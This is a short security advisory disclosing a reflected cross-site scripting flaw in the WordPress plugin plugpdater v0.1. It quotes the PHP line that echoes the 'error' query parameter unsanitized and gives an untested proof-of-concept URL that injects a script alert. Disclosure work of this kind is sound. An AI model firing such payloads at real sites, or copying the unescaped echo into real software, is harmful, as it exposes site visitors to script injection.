Advisory #: 186
Title: Reflected XSS in wordpress plugin plugpdater v0.1
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/plugpdater
Downloads: 422
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: plugpdater
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./plugpdater/includes/plugpdater-installer.php: 22: <p><?php _e('The plugin printed this unexpected string :','plugpdater');?> <b><?php echo $_GET['error'];?></b></p> The variable error appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./plugpdater/includes/plugpdater-installer.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/plugpdater/includes/plugpdater-installer.php?error="><script>alert(1);</script><"